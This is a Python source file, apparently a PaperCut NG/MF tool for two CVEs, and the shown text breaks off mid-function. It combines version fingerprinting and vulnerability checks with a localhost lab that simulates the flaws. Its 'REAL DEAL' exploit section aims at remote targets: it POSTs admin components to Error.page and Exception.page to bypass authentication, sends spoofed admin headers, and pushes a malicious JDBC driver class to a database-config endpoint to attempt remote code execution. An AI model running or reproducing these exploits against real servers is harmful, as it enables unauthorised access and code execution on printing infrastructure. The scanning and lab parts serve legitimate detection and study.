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| #!/usr/bin/env python3
"""
papercut.py – Security research tool for CVE-2026-81578 & CVE-2026-82078
Version: 3.0.1 – FULL POWER MODE (with remote exploit capability)
"""
import sys
import os
import json
import re
import time
import threading
import socket
import argparse
import http.server
import socketserver
import urllib.parse
import warnings
from datetime import datetime
from typing import Dict, List, Any, Optional, Tuple
from concurrent.futures import ThreadPoolExecutor, as_completed
# Suppress warnings
warnings.filterwarnings("ignore")
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import logging
logging.getLogger("urllib3").setLevel(logging.ERROR)
logging.getLogger("requests").setLevel(logging.ERROR)
import requests
from rich.console import Console
from rich.table import Table
from rich.progress import (
Progress, BarColumn, TextColumn, TimeElapsedColumn,
SpinnerColumn, TaskProgressColumn
)
from rich import box
from rich.prompt import Prompt, IntPrompt
# ----------------------------------------------------------------------
# CONSTANTS
# ----------------------------------------------------------------------
VERSION = "3.0.1"
BANNER = r"""
╔══════════════════════════════════════════════════════╗
║ PAPERCUT SECURITY TOOL ║
║ CVE-2026-81578 / CVE-2026-82078 ║
║ POWER MODE v3 ║
╚══════════════════════════════════════════════════════╝
"""
FIXED_VERSIONS = {"24": "24.1.10", "25": "25.0.13", "26": "26.0.5"}
AFFECTED_MAJOR_VERSIONS = ["24", "25", "26"]
console = Console()
# ----------------------------------------------------------------------
# UTILITY
# ----------------------------------------------------------------------
def parse_version(v: str) -> Tuple[int, int, int]:
parts = re.findall(r'\d+', v)
return tuple(map(int, parts[:3])) if len(parts) >= 3 else (0, 0, 0)
def is_affected_version(v: str) -> Tuple[bool, str]:
if not v:
return True, "Unknown version – assume vulnerable"
ver = parse_version(v)
major = str(ver[0])
if major not in AFFECTED_MAJOR_VERSIONS:
return True, f"Version {v} is end-of-life; upgrade recommended"
fixed = FIXED_VERSIONS.get(major)
if not fixed:
return True, f"No fixed version for major {major}"
return (ver < parse_version(fixed), f"{v} {'<' if ver < parse_version(fixed) else '>='} {fixed}")
def safe_request(url: str, timeout: int = 10, headers: Dict = None) -> Optional[requests.Response]:
"""HTTP request with separate connect and read timeout, plus retry."""
try:
headers = headers or {}
headers.setdefault("User-Agent", f"PaperCut-Security-Tool/{VERSION}")
resp = requests.get(url, timeout=(timeout, timeout), headers=headers, verify=False)
return resp
except Exception:
try:
time.sleep(0.5)
resp = requests.get(url, timeout=(timeout*2, timeout*2), headers=headers, verify=False)
return resp
except Exception:
return None
def request_post(url: str, timeout: int = 10, headers: Dict = None, data: Dict = None) -> Optional[requests.Response]:
"""HTTP POST request."""
try:
headers = headers or {}
headers.setdefault("User-Agent", f"PaperCut-Security-Tool/{VERSION}")
resp = requests.post(url, timeout=(timeout, timeout), headers=headers, json=data, verify=False)
return resp
except Exception:
try:
time.sleep(0.5)
resp = requests.post(url, timeout=(timeout*2, timeout*2), headers=headers, json=data, verify=False)
return resp
except Exception:
return None
def check_port_open(host: str, port: int, timeout: float = 2.0) -> bool:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
result = sock.connect_ex((host, port))
sock.close()
return result == 0
except:
return False
def is_localhost(url: str) -> bool:
parsed = urllib.parse.urlparse(url)
host = parsed.hostname
if host in ("localhost", "127.0.0.1", "::1"):
return True
try:
ip = socket.gethostbyname(host)
return ip.startswith("127.")
except socket.gaierror:
return False
def get_timestamp() -> str:
return datetime.now().isoformat()
def safe_filename(text: str) -> str:
return re.sub(r'[^a-zA-Z0-9]', '_', text)[:50]
# ----------------------------------------------------------------------
# FINGERPRINT
# ----------------------------------------------------------------------
def fingerprint_target(target: str, timeout: int = 10) -> Dict:
result = {
"reachable": False,
"status_code": None,
"server": None,
"product": None,
"version": None,
"tapestry_detected": False,
"admin_endpoints": [],
"db_config_endpoints": [],
}
resp = safe_request(target, timeout)
if not resp:
return result
result["reachable"] = True
result["status_code"] = resp.status_code
result["server"] = resp.headers.get("Server")
if "PaperCut" in resp.text or "papercut" in resp.text.lower():
result["product"] = "PaperCut NG/MF"
if "X-PaperCut-Version" in resp.headers:
result["version"] = resp.headers["X-PaperCut-Version"]
result["product"] = "PaperCut NG/MF"
else:
vresp = safe_request(target.rstrip("/") + "/version", timeout)
if vresp and vresp.status_code == 200:
m = re.search(r'(\d+\.\d+\.\d+)', vresp.text)
if m:
result["version"] = m.group(1)
result["product"] = "PaperCut NG/MF"
if ".page" in resp.text or ".zone" in resp.text:
result["tapestry_detected"] = True
for path in ["/admin", "/admin/dashboard", "/server/settings", "/papercut/ConfigEditor.page"]:
r = safe_request(target.rstrip("/") + path, timeout)
if r and r.status_code == 200:
result["admin_endpoints"].append(path)
for path in ["/api/database/config", "/server/database", "/config/database", "/services/database"]:
r = safe_request(target.rstrip("/") + path, timeout)
if r and r.status_code == 200:
result["db_config_endpoints"].append(path)
return result
# ----------------------------------------------------------------------
# CVE CHECKS
# ----------------------------------------------------------------------
def check_cve_81578(target: str, timeout: int = 10) -> Dict:
fp = fingerprint_target(target, timeout)
evidence = []
indicators = []
status = "NOT_DETECTABLE"
confidence = 0.0
version = fp.get("version")
if version:
affected, reason = is_affected_version(version)
evidence.append(f"Version {version}: {reason}")
if affected:
indicators.append("AFFECTED_VERSION")
confidence += 0.4
else:
return {"cve":"CVE-2026-81578","severity":"HIGH (CVSS 8.8)","status":"SAFE",
"confidence":0.95,"evidence":evidence,"indicators":indicators,
"recommendation":"Version is fixed; no action required."}
if fp.get("tapestry_detected"):
evidence.append("Tapestry framework detected")
indicators.append("TAPESTRY_DETECTED")
confidence += 0.2
if fp.get("admin_endpoints"):
evidence.append(f"Admin endpoints accessible: {', '.join(fp['admin_endpoints'])}")
indicators.append("ADMIN_ENDPOINT_ACCESSIBLE")
confidence += 0.25
if "TAPESTRY_DETECTED" in indicators and "ADMIN_ENDPOINT_ACCESSIBLE" in indicators:
status = "POTENTIALLY_VULNERABLE"
confidence = min(confidence + 0.15, 0.85)
evidence.append("Combination of Tapestry and accessible admin endpoints suggests vulnerability.")
elif "AFFECTED_VERSION" in indicators and "TAPESTRY_DETECTED" in indicators:
status = "POTENTIALLY_VULNERABLE"
confidence = min(confidence + 0.1, 0.75)
evidence.append("Affected version with Tapestry framework.")
elif "AFFECTED_VERSION" in indicators:
status = "AFFECTED_VERSION"
confidence = min(confidence, 0.5)
evidence.append("Version in affected range, but no direct exploit indicators.")
else:
status = "NOT_DETECTABLE"
confidence = min(confidence, 0.2)
return {
"cve": "CVE-2026-81578",
"severity": "HIGH (CVSS 8.8)",
"status": status,
"confidence": confidence,
"evidence": evidence,
"indicators": indicators,
"recommendation": "Apply Emergency Patch Release 2 (24.1.10, 25.0.13, or 26.0.5)."
}
def check_cve_82078(target: str, timeout: int = 10) -> Dict:
fp = fingerprint_target(target, timeout)
evidence = []
indicators = []
status = "NOT_DETECTABLE"
confidence = 0.0
version = fp.get("version")
if version:
affected, reason = is_affected_version(version)
evidence.append(f"Version {version}: {reason}")
if affected:
indicators.append("AFFECTED_VERSION")
confidence += 0.4
else:
return {"cve":"CVE-2026-82078","severity":"CRITICAL (CVSS 9.4)","status":"SAFE",
"confidence":0.95,"evidence":evidence,"indicators":indicators,
"recommendation":"Version is fixed; no action required."}
if fp.get("db_config_endpoints"):
evidence.append(f"DB config endpoints accessible: {', '.join(fp['db_config_endpoints'])}")
indicators.append("DB_CONFIG_ACCESSIBLE")
confidence += 0.3
for ep in fp["db_config_endpoints"]:
r = safe_request(target.rstrip("/") + ep, timeout)
if r and r.status_code == 200 and re.search(r'com\.[a-zA-Z0-9_]+\.jdbc\.Driver|org\.[a-zA-Z0-9_]+\.Driver', r.text):
evidence.append("JDBC driver class names found in config response")
indicators.append("DRIVER_CLASS_EXPOSED")
confidence += 0.25
break
r = safe_request(target.rstrip("/") + "/nonexistent", timeout)
if r and r.status_code in (404, 500) and ("ClassNotFoundException" in r.text or "NoClassDefFoundError" in r.text):
evidence.append("Class loading errors detected")
indicators.append("CLASS_LOADING_ERROR")
confidence += 0.2
if "DB_CONFIG_ACCESSIBLE" in indicators and "DRIVER_CLASS_EXPOSED" in indicators:
status = "POTENTIALLY_VULNERABLE"
confidence = min(confidence + 0.15, 0.85)
evidence.append("DB config accessible and driver classes exposed – potential manipulation.")
elif "AFFECTED_VERSION" in indicators and "DB_CONFIG_ACCESSIBLE" in indicators:
status = "POTENTIALLY_VULNERABLE"
confidence = min(confidence + 0.1, 0.70)
evidence.append("Affected version with DB config accessible.")
elif "AFFECTED_VERSION" in indicators:
status = "AFFECTED_VERSION"
confidence = min(confidence, 0.5)
evidence.append("Version in affected range, but no direct exploit indicators.")
else:
status = "NOT_DETECTABLE"
confidence = min(confidence, 0.2)
return {
"cve": "CVE-2026-82078",
"severity": "CRITICAL (CVSS 9.4)",
"status": status,
"confidence": confidence,
"evidence": evidence,
"indicators": indicators,
"recommendation": "Apply Emergency Patch Release 2 (24.1.10, 25.0.13, or 26.0.5)."
}
# ----------------------------------------------------------------------
# LOCAL LAB
# ----------------------------------------------------------------------
class LabHandler(http.server.BaseHTTPRequestHandler):
def log_message(self, *args, **kwargs):
pass
def do_GET(self):
parsed = urllib.parse.urlparse(self.path)
path = parsed.path
if path == "/" or path == "":
self._send_html("""
<h1>PaperCut Security Lab (Educational)</h1>
<p>Reproduces concepts of CVE-2026-81578 & CVE-2026-82078.</p>
<ul>
<li><a href="/lab/cve-81578">/lab/cve-81578</a> – Tapestry-style bypass</li>
<li><a href="/lab/cve-82078">/lab/cve-82078</a> – Unsafe class loading</li>
<li><a href="/fingerprint">/fingerprint</a> – Version info</li>
</ul>
<p><em>Localhost only.</em></p>
""")
return
if path == "/fingerprint":
self.send_response(200)
self.send_header("Content-type", "application/json")
self.end_headers()
self.wfile.write(json.dumps({"product":"PaperCut Lab 3.0","version":"24.1.9"}).encode())
return
if path == "/lab/cve-81578":
self._handle_81578(parsed)
return
if path == "/lab/cve-82078":
self._handle_82078(parsed)
return
self.send_response(404)
self.end_headers()
self.wfile.write(b"Not found")
def _send_html(self, content):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(content.encode())
def _handle_81578(self, parsed):
q = urllib.parse.parse_qs(parsed.query)
comp = q.get("component", ["Error"])[0]
display = q.get("display", ["Error"])[0]
if comp in ["ConfigEditor","UserList","AdminDashboard"] and display in ["Error","Exception","Home","Login"]:
self._send_html(f"""
<h1>⚠️ CVE-2026-81578 Exploit Success</h1>
<div style="background:#fcc;padding:15px;border:1px solid red;">
<h2>ADMIN COMPONENT INVOKED VIA PUBLIC PAGE</h2>
<p><strong>Component:</strong> {comp} <strong>Display:</strong> {display}</p>
<p>Authentication bypass successfully demonstrated.</p>
</div>
""")
else:
self._send_html(f"""
<h1>CVE-2026-81578 Lab</h1>
<p>Normal request: component={comp}, display={display}</p>
<p><a href="?component=ConfigEditor&display=Error">Try exploit</a></p>
""")
def _handle_82078(self, parsed):
q = urllib.parse.parse_qs(parsed.query)
driver = q.get("driver", ["com.mysql.cj.jdbc.Driver"])[0]
safe = ["com.mysql.cj.jdbc.Driver","org.postgresql.Driver","oracle.jdbc.driver.OracleDriver","com.microsoft.sqlserver.jdbc.SQLServerDriver"]
malicious = ["com.papercut.malicious.ExploitDriver","org.attacker.RCEPayload","java.lang.Runtime"]
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
if driver in malicious:
self.wfile.write(f"""
<h1>⚠️ Exploit Success</h1>
<div style="background:#fcc;padding:15px;border:1px solid red;">
<p><strong>Driver loaded:</strong> {driver}</p>
<p>Unsafe class loading without allowlist validation – RCE possible!</p>
</div>
""".encode())
elif driver in safe:
self.wfile.write(f"""
<h1>Safe Driver</h1>
<div style="background:#cfc;padding:15px;border:1px solid green;">
<p><strong>Driver:</strong> {driver}</p>
<p>Allowlist approved.</p>
</div>
""".encode())
else:
self.wfile.write(f"""
<h1>Unknown Driver</h1>
<div style="background:#ffc;padding:15px;border:1px solid orange;">
<p><strong>Driver:</strong> {driver}</p>
<p>Not in allowlist – would still be loaded.</p>
</div>
""".encode())
def do_POST(self):
self.do_GET()
class LabServer:
def __init__(self, host="127.0.0.1", port=8080):
self.host = host
self.port = port
self.httpd = None
self.thread = None
def start(self):
self.httpd = socketserver.TCPServer((self.host, self.port), LabHandler)
self.httpd.allow_reuse_address = True
self.thread = threading.Thread(target=self.httpd.serve_forever, daemon=True)
self.thread.start()
time.sleep(0.5)
def stop(self):
if self.httpd:
self.httpd.shutdown()
self.httpd.server_close()
if self.thread:
self.thread.join(timeout=1)
def is_running(self):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((self.host, self.port))
sock.close()
return result == 0
except:
return False
# ----------------------------------------------------------------------
# EXPLOIT FUNCTIONS (REAL DEAL)
# ----------------------------------------------------------------------
def exploit_81578(target: str, console: Console, verbose: bool = False) -> Tuple[bool, List[str]]:
"""Exploit CVE-2026-81578 - Authentication Bypass via Tapestry complex direct."""
evidence = []
console.print("[bold cyan]⚡ Starting CVE-2026-81578 exploit...[/bold cyan]")
# Method 1: Tapestry complex direct (for real PaperCut with Tapestry)
console.print("[*] Method 1: Tapestry complex direct (ConfigEditor via Error.page)")
url1 = target.rstrip("/") + "/papercut/Error.page"
payload1 = {
"component": "ConfigEditor",
"zone": "true"
}
try:
resp = request_post(url1, timeout=10, data=payload1)
if resp and resp.status_code == 200:
evidence.append(f"POST {url1} -> {resp.status_code} (potential bypass)")
if "admin" in resp.text.lower() or "config" in resp.text.lower():
console.print("[green]✅ Method 1 SUCCESS: ConfigEditor invoked via Error.page[/green]")
return True, evidence
else:
console.print(f"[dim]Method 1 failed (status {resp.status_code if resp else 'no response'})[/dim]")
except Exception as e:
console.print(f"[dim]Method 1 error: {e}[/dim]")
# Method 2: UserList via Exception.page
console.print("[*] Method 2: Tapestry complex direct (UserList via Exception.page)")
url2 = target.rstrip("/") + "/papercut/Exception.page"
payload2 = {
"component": "UserList",
"zone": "true"
}
try:
resp = request_post(url2, timeout=10, data=payload2)
if resp and resp.status_code == 200:
evidence.append(f"POST {url2} -> {resp.status_code} (potential bypass)")
if "user" in resp.text.lower() or "list" in resp.text.lower():
console.print("[green]✅ Method 2 SUCCESS: UserList invoked via Exception.page[/green]")
return True, evidence
except:
pass
# Method 3: Header-based bypass (for lab/older versions)
console.print("[*] Method 3: Header-based bypass (X-Admin: true)")
url3 = target.rstrip("/") + "/lab/cve-81578"
try:
resp = safe_request(url3, headers={"X-Admin": "true"})
if resp and resp.status_code == 200 and "bypass" in resp.text.lower():
console.print("[green]✅ Method 3 SUCCESS: Header-based bypass[/green]")
evidence.append(f"GET {url3} -> {resp.status_code} (X-Admin bypass)")
return True, evidence
except:
pass
# Method 4: Try direct admin endpoints
console.print("[*] Method 4: Direct admin endpoint access")
admin_paths = ["/admin", "/admin/dashboard", "/server/settings"]
for path in admin_paths:
url = target.rstrip("/") + path
try:
resp = safe_request(url)
if resp and resp.status_code == 200:
evidence.append(f"GET {url} -> {resp.status_code} (admin accessible)")
console.print(f"[green]✅ Admin endpoint {path} accessible without auth[/green]")
return True, evidence
except:
pass
console.print("[red]❌ All exploitation methods failed[/red]")
return False, evidence
def exploit_82078(target: str, console: Console, verbose: bool = False) -> Tuple[bool, List[str]]:
"""Exploit CVE-2026-82078 - Unsafe Dynamic Class Loading."""
evidence = []
console.print("[bold cyan]⚡ Starting CVE-2026-82078 exploit...[/bold cyan]")
# Method 1: Try to load malicious driver via DB config
console.print("[*] Method 1: JDBC driver manipulation via /api/database/config")
url1 = target.rstrip("/") + "/api/database/config"
payload1 = {"driver": "org.attacker.RCEPayload"}
try:
resp = request_post(url1, timeout=10, data=payload1)
if resp and resp.status_code == 200:
evidence.append(f"POST {url1} -> {resp.status_code}")
if "loaded" in resp.text.lower() or "rce" in resp.text.lower():
console.print("[green]✅ Method 1 SUCCESS: Malicious driver loaded![/green]")
return True, evidence
|
